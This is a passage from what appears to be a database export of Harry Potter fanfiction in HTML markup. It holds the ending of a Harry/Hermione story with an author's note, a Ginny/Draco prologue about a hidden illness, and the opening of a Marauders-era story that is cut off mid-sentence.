slowly\nstood back up.&nbsp; &#8220;The mudblood still has\nyou under a spell.&nbsp; I&#8217;ll end that right\nhere!&#8221; she screamed.&nbsp; Cassandra charged at\nHermione and tried to pull her into a kiss.&nbsp;\nHermione didn&#8217;t even have enough strength to scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a roar of\nrage, reminiscent of a lion trying to protect his cubs, Harry charged at\nCassandra and tackled her to the ground.&nbsp;\nAs Cassandra struggled to get out of Harry&#8217;s grip, the tip of Harry&#8217;s\nwand accidentally found its way into Cassandra&#8217;s mouth.&nbsp; Almost by instinct, Harry thought of the\nkiss he and Hermione had shared earlier and shouted, <i>&#8220;Expecto Patronum!&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Whereas a patronus\non the outside drove dementors and succubae away, swallowing a patronus turned\nout to be fatal to succubae.&nbsp; Cassandra\nscreamed in pain and her body exploded into dust!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Realizing that\nCassandra was dead, Harry hurried over to Hermione and untied her bonds.&nbsp; With her remaining strength, Hermione\nwrapped her arms around Harry&#8217;s neck and started sobbing into his shoulder\nconstantly repeating, &#8220;Harry&#8230;Harry&#8230;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry felt his\nheart break at how fragile and vulnerable Hermione looked.&nbsp; He gently hugged her and started to soothe\nher saying, &#8220;Its alright.&nbsp; I&#8217;m here now.&nbsp; I won&#8217;t let you go.&#8221;&nbsp; A few tears streamed down Harry&#8217;s cheeks as\nwell.&nbsp; Harry gently scooped Hermione up\nand proceeded to carry her out of the chamber,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore,\nSirius, and Lupin were in Moaning Myrtle&#8217;s bathroom, waiting for any sign of\nsomething happening in the chamber below the school.&nbsp; Suddenly, Sirius let out a yelp.&nbsp;\nThat magical contract of betrothal in Sirius&#8217;s pocket had suddenly burst\nin flames!&nbsp; Sirius looked alarmed.&nbsp; &#8220;Dumbledore, does this mean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Either Harry or\nCassandra Frost has died,&#8221; said Dumbledore with a nod.&nbsp; &#8220;The contract is dissolved.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The three adults\ncontinued waiting.&nbsp; After about fifteen\nminutes, the entrance to the chamber suddenly opened.&nbsp; Harry Potter lifted himself out of the pipe with magic, carrying\na fragile looking Hermione in his arms.&nbsp;\nDumbledore, Sirius, and Lupin immediately looked relieved.&nbsp; Lupin left and fetched Madame Pomfrey.&nbsp; Sirius turned into a dog just as the matron\nentered.&nbsp; She went to examine Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I was wondering\nwhat had happened when my patients started to wake up from their comas.&nbsp; Professor Snape looked like he was ready to\nhex the next person he saw,&#8221; she said.&nbsp;\nShe examined Hermione who refused to remove her arms from around\nHarry.&nbsp; &#8220;She&#8217;s suffered severe trauma,&#8221;\nsaid Madame Pomfrey.&nbsp; &#8220;But she&#8217;ll\nrecover.&nbsp; You probably shouldn&#8217;t leave\nher side tonight Mr. Potter.&nbsp; She should\nbe excused from classes for about a week though.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Will she be all\nright?&#8221; asked Harry.&nbsp; Madame Pomphrey\nsmiled and nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;We&#8217;ll take care\nof everything down here,&#8221; said Dumbledore.&nbsp;\n&#8220;The students will be returning to the school tomorrow evening.&nbsp; The two of you should go to bed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded and\nproceeded to carry Hermione to Gryffindor tower.&nbsp; &#8220;I&#8217;m so sorry, Hermione,&#8221; said Harry, a few tears building in his\neyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione looked\ninto Harry&#8217;s eyes.&nbsp; &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If I didn&#8217;t love\nyou, than none of this would&#8217;ve happened to you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione suddenly\nlooked alarmed.&nbsp; &#8220;No Harry!&nbsp; Please don&#8217;t push me away!&nbsp; I can&#8217;t stand being distant from you!&nbsp; I need you!&#8221; she begged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry smiled\ngently.&nbsp; &#8220;Don&#8217;t worry, I wouldn&#8217;t dream\nof pushing you away.&nbsp; As crazy as it\nsounds, I need you as well.&nbsp; And I\npromise that I will never leave your side.&nbsp;\nBecause I love you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Promise?&#8221;\nwhispered Hermione, more tears building in her eyes.&nbsp; When Harry nodded, Hermione allowed the tears to flow and she\nburied her face into Harry&#8217;s shoulder.&nbsp;\n&#8220;I love you too,&#8221; she whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry made it to\nGryffindor tower and carried Hermione up to the sixth year girls&#8217; dorm room.&nbsp; He was very thankful that Lavender and\nParvati wouldn&#8217;t be back until tomorrow evening as he laid Hermione on her bed\nand took off her shoes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry, please\ndon&#8217;t leave me tonight,&#8221; begged Hermione.&nbsp;\nHer eyes still showed some fear in them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry smiled\ngently.&nbsp; &#8220;Don&#8217;t worry love, I&#8217;ll stay as\nlong as you need me.&#8221;&nbsp; He pulled off his\nshoes, placed his glasses on the bedside table and lied down next to Hermione.&nbsp; Hermione snuggled right next to him as Harry\npulled the covers over them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I was so scared,&#8221;\nwhispered Hermione as a few more tears flowed down her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You don&#8217;t have to\nbe scared any more,&#8221; said Harry as he wrapped his arms around her.&nbsp; &#8220;I&#8217;m here for you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Thank you for\nsaving me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You&#8217;re welcome,\nlove.&#8221;&nbsp; Harry gently pulled Hermione\ninto a deep kiss.&nbsp; He then proceeded to\nsoothe her lovingly as Hermione drifted off to sleep, a faint smile on her\nlips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;A lot has\nhappened,&#8217; thought Harry.&nbsp; &#8216;But things\nwill go back to the way they were before Cassandra came.&#8217;&nbsp; Harry thought about what the other students\nwould think when they came back tomorrow evening.&nbsp; He knew in his heart that Hermione would eventually recover from\nher trauma and that he would help her with her recovery.&nbsp; He also knew that he and Hermione loved each\nother very much and that they would stick to each other forever.&nbsp; However, Harry decided that for that night,\nhe was just going to be content about being with Hermione for the night, and he\nslowly drifted off to sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">THE END</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I forgot to\nmention this in the story but Voldemort gave Cassandra his parselmouth\nabilities when he created her.&nbsp; Well,\nthat&#8217;s the end of the story.&nbsp; I hope all\nof you like it.&nbsp; At this point in my\nwriting, I can only stop writing Harry Potter fanfics if I quit breathing.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">About, Cassandra&#8217;s\nsorting, I really didn&#8217;t want to put her in Slytherin because that would&#8217;ve\nmade things a bit too obvious.&nbsp; Besides,\nshe&#8217;s not really that ambitious.&nbsp; Since\nshe doesn&#8217;t have that much ambition, I decided that intellect would be her\nthing so I placed her in Ravenclaw.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The inspiration\nfor this fic was a Japanese comic by Takahashi Rumiko (the creator of Ranma\n1/2, Urusei Yatsura, and Inuyasha).&nbsp; The\ntitle is &#8220;The Laughing Target&#8221; from &#8220;Rumic World Trilogy&#8221;.&nbsp; Namely the comic is about a boy and a girl\nwho are betrothed since childhood, but the boy never took it seriously and has\na steady girlfriend in high school.&nbsp; One\nday the betrothed girl comes and moves in with the boy&#8217;s family, but she&#8217;s all\neerie and seems to have these mysterious powers.&nbsp; When the girl finds out about the boy&#8217;s girlfriend, she starts\nterrorizing her with her powers.&nbsp; Well,\nthat&#8217;s my inspiration.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(129, 1, '\n\n\n\n<p class="MsoNormal">Prologue</p>\n\n<p class="MsoNormal">By Crystal</p>\n\n<p class="MsoNormal">*Screw the disclaimers ^^;;*</p>\n\n<p class="MsoNormal">~*~ Ginny ~*~</p>\n\n<p class="MsoNormal">Funny how I&#8217;ve been sick for so long and nobody even sees\nit.&nbsp; Not even my brother and his\nfriends.&nbsp; Soon, I&#8217;m going to die.&nbsp; I know this...&nbsp; I&#8217;m sure I got this from Erica Jansen.&nbsp; Gryffindor, same year as me.&nbsp;\nThe 6th year, suppose to be anyways.&nbsp; Right now, I&#8217;m picking my food, not even\nwanting to eat it much.&nbsp; The fact that I\njust coughed out about a litre of blood this morning was enough to make me\nreally sick.&nbsp; Okay, maybe not a litre,\nbut pretty much.&nbsp; It&#8217;s been getting\nworst.&nbsp; Right.&nbsp; Erica.&nbsp; I&#8217;m sure I got it\nfrom her.&nbsp; She died during the summer\nand I went to her funeral.&nbsp; Two weeks\nbefore school started.&nbsp; It was November\nright now.&nbsp; It was months since I last\ntalked to her, even though it only felt like a day or two.</p>\n\n<p class="MsoNormal">She was my one and only friend.&nbsp; Isn&#8217;t it sad sometimes?&nbsp;\nReally.&nbsp; Not even Hermione has\nnoticed how my bed sheets always had some crimson liquid on it.&nbsp; Probably too busy snogging Ron or something,\nnot that I&#8217;d really care.&nbsp; No.&nbsp; I was probably the saddest person in the\nentire planet.&nbsp; No one knew I was sick,\nand no one will.&nbsp; Ever.&nbsp; Sometimes, that thought is comforting.&nbsp; If nobody found out, then I&#8217;d die\nalone.&nbsp; I won&#8217;t see their sad faces, and\nhopefully, I&#8217;ll die in my sleep.&nbsp; That\nway, it&#8217;s painless.&nbsp; It&#8217;s good to think\nnobody knows...&nbsp; It can&#8217;t be cured.&nbsp; Erica had gotten Madam Pomfrey to check her\nbody ever since she knew she had the sickness.&nbsp;\nNo help.&nbsp; I&#8217;m depressing myself,\nI know.</p>\n\n<p class="MsoNormal">I look beside me at Ron, Harry and Hermione.&nbsp; Always smiling, always friends.&nbsp; My friend was gone and I will soon be\ntoo.&nbsp; I wonder if Harry will miss me?&nbsp; Although I don&#8217;t have a crush on him\nanymore, I still do wish that he will miss me.&nbsp;\nAs my brother, I don&#8217;t mind.&nbsp; But\nat least, he&#8217;ll think of me.&nbsp; I&#8217;m so\nstupid sometimes.&nbsp; Who would think of\nGinny?&nbsp; The youngest Weasley in the\nfamily.&nbsp; The one and only girl in the\nfamily that didn&#8217;t act like a girl due to having six brothers.&nbsp; Ron, Fred, George, Percy, Charlie and Bill&#8217;s\nlittle sister.&nbsp; I was only known as\nthat.&nbsp; Never did I have my own name\nbefore.&nbsp; I never did earn my own name,\nnor did I try.&nbsp; I guess being in the\nshadow has its own uses...&nbsp; I didn&#8217;t\nalways get insulted by Slytherins, or should I change that to Draco\nMalfoy?&nbsp; Professor Snape never paid much\nattention to me, unless I did something wrong.&nbsp;\nI always sat at the back of classes, answering questions when asked and\nkept quiet when told.&nbsp; I was always the\nobedient kind.&nbsp; Unlike Fred and George,\nor was it Gred and Forge?</p>\n\n<p class="MsoNormal">All I know is that I&#8217;ll miss my brothers a lot, and my\nparents.&nbsp; Harry and Hermione too.&nbsp; But then again, perhaps I&#8217;ll see Erica.&nbsp; That&#8217;ll be good, kinda.&nbsp; Oh, anyways, class&#8217; going to start\nsoon.&nbsp; Double potions with\nSlytherins.&nbsp; I don&#8217;t mind.&nbsp; Oh right, I&#8217;m in the 7th years\npotion.&nbsp; Professor Dumbledore gave me\npermission to skip one year of potions.&nbsp;\nI&#8217;m glad, the only thing I didn&#8217;t like was having Draco Malfoy in my\nclass, but that was okay.&nbsp; He usually\ninsulted Ron, Hermione and Harry.&nbsp; I\ndon&#8217;t pay much attention to their arguments, it&#8217;s always the same.&nbsp; And I know they can insult Malfoy back\nnicely, even if Professor Snape took points off Gryffindor, but that was okay,\nI guess.&nbsp; I stood up and walked slowly\nto the door, but after I was out of anyone&#8217;s sight, I ran to whichever washroom\nI could find.&nbsp; Another coughing fit was\ncoming up.</p>\n\n<p class="MsoNormal">~*~ Draco ~*~</p>\n\n<p class="MsoNormal">Screw Pansy Parkinson, not litterally, of course.&nbsp; She makes me sick sometimes.&nbsp; Okay, most of the time.&nbsp; She&#8217;s always around me and touching me, makes\nme want to puke.&nbsp; Once again, I find\nmyself looking at a certain girl over at the Gryffindor table with long auburn\nhair cascading down her back.&nbsp; Makes me\nthink of a waterfall full of blood.&nbsp; I\nsee she&#8217;s picking at her food again, I don&#8217;t know how that girl can still\nwalk.&nbsp; Everyday, since a few weeks ago,\nI started paying attention to her eating.&nbsp;\nShe doesn&#8217;t eat at all, only playing with her food.&nbsp; It does kind of scare me, although as much\nas I want to deny, I&#8217;m worried for the little red head.&nbsp; Of course, I shouldn&#8217;t worry about a\nWeasley, but I can&#8217;t help it.&nbsp; She is\ngetting skinnier and skinnier, and sometimes, it makes me mad thinking that\neven her own brother can&#8217;t seem to notice.&nbsp;\nAnd the scary fact is that her face is almost the same shade as mine.&nbsp; I have abnormal pale skin, but her having\nthe same shade as me definitely shows that she has problems.</p>\n\n<p class="MsoNormal">Double potions next.&nbsp;\nI didn&#8217;t mind, and as much as Potter, Weasley and Granger think that I\nhave high marks in potions just because Snape favours me, it&#8217;s not true.&nbsp; I study lots, though nobody knows and I&#8217;m\nthe second best student in the 7th year, though not a single soul\nknows, except for the teachers.&nbsp; I try\nto keep that fact unknown to most trying to keep my reputation as the &#8216;Bad\nBoy&#8217;.&nbsp; </p>\n\n<p class="MsoNormal">Just then, I see a flash of red leaving the Great\nHall.&nbsp; Weasley.&nbsp; As much as I hate to stand up and leave the\nseat I was just getting comfortable in, I have to.&nbsp; And with Pansy over me, I&#8217;d rather go to hell and back than stay\nhere for one more minute.</p>\n\n<p class="MsoNormal">As I walked down to Snape&#8217;s class, I looked at my\nwatch.&nbsp; Ah well, I was five minutes\nlate.&nbsp; So what?&nbsp; Snape didn&#8217;t care much and he never gave me\nany detention.&nbsp; I&#8217;ll be fine.&nbsp; I walked in the classroom and Snape\npretended he didn&#8217;t see me.&nbsp; The only\nspot left...&nbsp; Was beside Weasley, at the\nback of the class.&nbsp; Not Ronald Weasley,\nhell no.&nbsp; The little Weasley.&nbsp; Well, that&#8217;s fine.&nbsp; I said down beside her and started taking notes.&nbsp; Halfway through the notes, she started\ncoughing violently.&nbsp; I knew she was\ntrying to calm it, but without much success.&nbsp;\nFrom the corner of my eyes, I was watching her while taking notes.&nbsp; She took a piece of tissue out and started\ncoughing in it, the tissue making her sound quieter.&nbsp; And she wiped her mouth with the tissue.&nbsp; My eyes opened in surprise slightly at the\nsight of the now crimson colored tissue.&nbsp;\nShe knows I saw it, but she instantly stuffed it in her bag as if\nnothing happened and continued taking notes.</p>\n\n<p class="MsoNormal">I heard that one of the Gryffindors died like that during\nthis summer. &nbsp;If I remember well, she\nhad curly brown hair and brown eyes.&nbsp;\nErica Jansen, I think.&nbsp; Don&#8217;t ask\nme why I know, I have my ways.&nbsp; My mind\ndetermined, I scribbled something down quickly and handed it to her.&nbsp; Class was almost over anyways.&nbsp; A few more minutes to go.&nbsp; I saw her open up the letter and read it and\nlooked back at me, almost begging me.&nbsp; I\nignored her and as the class finished, I rushed out the class.</p>\n\n<p class="MsoNormal">Author&#8217;s Notes: Draco is probably a bit OOC, but I don&#8217;t\nreally care =P&nbsp; Anyways, a new idea for\nme that suddenly came because I was just coughing my ass off.&nbsp; And no I was not coughing up blood.&nbsp; I&#8217;m just sick =P&nbsp; Review and I&#8217;ll be happy!&nbsp;\n&#8216;Winter Dreams&#8217; is going to be updated within a week, hopefully.&nbsp; Thanks!</p>\n\n\n\n\n\n\n'),
	(131, 1, '\n\n<p>&lt;html&gt;</p>\n<p>&lt;font face= &quot;Book Antiqua&quot;&gt; &lt;font size= &quot;3&quot;&gt;</p>\n\n<p>&lt;p&gt; Chapter one, Forest View Road</p>\n<p>&lt;p&gt;</p>\n<p>&lt;p&gt;</p>\n<p>&lt;p&gt;</p>\n<p>&lt;p&gt;Forest View Road was on a hill, in a moderately wealthy neighborhood of large modern and colonial houses that lined it on both sides, which were spaced a comfortable but still neighborly distance apart from each other. The backyards of the houses on the right side of the street were of medium size, and at the end of each backyard, where the ground started sloping downward, was a line of maple trees, thus the name, \'Forest View Road.\' Though the road was on a hill, there was no view except that of green maple leaves and evergreen needles except in the winter, when the town below could be seen perfectly. The houses on the left side of the street had the same kind of backyards, except at their edges the hill went up. The road itself didn\'t attract much traffic, in fact, most of the kids could ride their bikes on the yellow line in the middle of it without getting hit by a car. &lt;/p&gt;<br>\n<br>\n&lt;p&gt;</p>\n<p>&lt;p&gt;In the upper left window of a beige colored house on the left side, James Potter, Remus Lupin, and Sirius Black were sitting on the floor in James\'s bedroom, flipping through a quidditch magazine that they had already read a few times. It was about ten o\'clock at night, the night before they went back to Hogwarts. The room was typical of a teenage wizard, with posters of quidditch teams covering the walls, a stereo blasting rock music through the room, and books, magazines, and magic joke stuff all over the floor. Remus\'s sleepover bag was neatly against the wall with everything inside of it, and Sirius\'s stuff was all piled up in a mess against the wall on top of his empty bag. &lt;/p&gt;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Are they asleep yet?&quot; Sirius asked James. James put his ear to the floor, listening for noise in his parents room. &lt;/p&gt;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Is their light still on?&quot; Remus asked. Sirius looked out the window at the light yellow house across the street. Lily\'s window was the left on the second floor, and the light was still on.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah,&quot; Sirius replied. He grinned, crashing their little slumber party would be great fun.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, they\'re asleep,&quot; James answered the first question.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Let\'s go then,&quot; Sirius said.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Shouldn\'t we turn off the music?&quot; Remus asked.<br>\n<br>\n&lt;p&gt;&lt;p&gt; &quot;No,&quot; James answered, &quot;or else they\'ll know we\'re gone. They\'re used to the music staying on until about midnight.&quot; So they left the eletric guitar and bass drum sounding quietly through the speakers, and the three of them tiptoed quietly out of the room.<br>\n<br>\n&lt;p&gt;&lt;p&gt;James Potter was tall and muscular sixteen year old wizard. His face was perfectly proportioned, his big brown eyes spaced equally apart, behind medium sized oval glasses, his nose not too big or too wide, and his eyebrows not too bushy. His hair was jet black, and wild. It stuck up at od angles, because some of it was straight and some of it wavy. He was extremely attractive, almost every girl at Hogwarts thought so. He played quidditch as the seeker of the Gryffindor House team, and he was the best quidditch player Hogwarts had seen in a long time. But he was really a unique person, talented, smart, bold, courteous, and though it seemed a bit lame to admit, a gentleman.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Sirius Black was like James in almost every way, which was why they were such good friends. He was very attractive with easily tanned skin, dark eyes, and very dark hair. He was about as tall as James, and equally as muscular. He also played quidditch; he was a Beater on the Gryffindor team. The thing that seperated him from the other Marauders was his skill at flirting. He never could keep a girlfriend for a long time.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Remus Lupin was a bit shorter than James and Sirius. He had light brown hair, light skin, and blue-gray eyes. He didn\'t play quidditch, although James and Sirius kept telling him he should. He was the most considerate and kind of the three, he was always nice to people and had a great sense of common courtesy. He was a great rolemodel; people tried to be like him, even though they wouldn\'t admit it.<br>\n<br>\n&lt;p&gt;&lt;p&gt;The three of them were different, but great people in their own ways, but together they were a perfect team at whatever their goal was at the time. But at the same time, as they stood in the hallway in knee length shorts, tee shirts and sneakers, they were alike. The were all tall and handsome, sixteen, wearing wide grins with perfect teeth. They were clever pranksters and great friends. They were model Gryffindors, loyal and courageous, and they were among the smartest kids at Hogwarts, and indeed the most clever and sly with their jokes. Those were the things that united them.<br>\n<br>\n&lt;p&gt;&lt;p&gt;James peeked into his sister\'s room. Susan was soundly sleeping under her pink bedspread, in her typical teenage girl bedroom, with posters of her favorite wizard boy bands and moving pictures of her and her friends. Susan was a Ravenclaw fifth year, with long brown hair and pretty blue eyes. She was innocent and angelic, and na&#239;ve for her age. James was certain she still hadn\'t been kissed yet. She looked up on her big brother with admiration and almost idolized him, and James loved his little sister. Susan and James weren\'t really siblings, they were step-siblings, because James was adopted.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Every time James thought about the fact that he was adopted, he sighed to himself and had to wonder if he even had any blood relatives out there. He had asked his parents about it time and time again, but they seemed to know as little as he did. They told him that his mother had died when he was a baby, and her last name had been Potter. But as for his father, nobody knew who he was. James hated the idea that he was probably a bastard. That word was cold, and ruthless, and when anybody said it it seemed to roll off their tongue like venom. It was his weakness. Someday he vowed to find out who his true family was.<br>\n&lt;p&gt;<br>\n&lt;p&gt;</p>\n<p>&lt;p&gt;</p>\n<p>&lt;p&gt;</p>\n<p>&lt;p&gt;<br>\n<br>\n&quot;Isn\'t James having a sleepover tonight?&quot; Jasmine asked Lily. The three girls, Nikki Labriola, Jasmine Lynch, and Lily Evans were having a sleepover at Lily\'s house. They were sitting on the floor of her room, with purple facial masks on, reading magazines and talking.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, I think Remus and Sirius are at his house,&quot; Lily replied.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;It\'s so cool that he lives right across the street,&quot; Nikki said, &quot;if you guys ever went steady, it would be great cause you\'d see each other all the time and you could just sneak out of your house over to his whenever you felt like it.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Yeah, like we\'d ever be boyfriend/girlfriend,&quot; Lily said sarcastically, &quot;that would never happen.&quot;<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;That\'s not how you felt third year,&quot; Nikki teased her.<br>\n<br>\n&lt;p&gt;&lt;p&gt;&quot;Hey! That was three years ago!&quot; Lily protested, &quot;We\'re just friends, the six of us are just friends and none of us will be anything else. We\'re a big happy friend family.&quot; The others giggled.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Lily was quite beautiful. She had the eyes of most of the guys at Hogwarts on her constantly, and she really didn\'t mind it. Her skin was porcelain; it was pale and soft and her cheeks had a natural rosy blush, and her entire face had a radiant glow. Her eyes were ivory and large, and they were bright vibrant green, lined with long, dark lashes. Her mouth was small but her lips full. Her hair was thick and red, and it cascaded like liquid silk down to her tiny waist. She was an angel, but a daredevil at the same time. She was like fire on her broomstick, as a Chaser on the Gryffindor Quidditch team.<br>\n<br>\n&lt;p&gt;&lt;p&gt;Jasmine was very kind, and had a sweet personality. She never 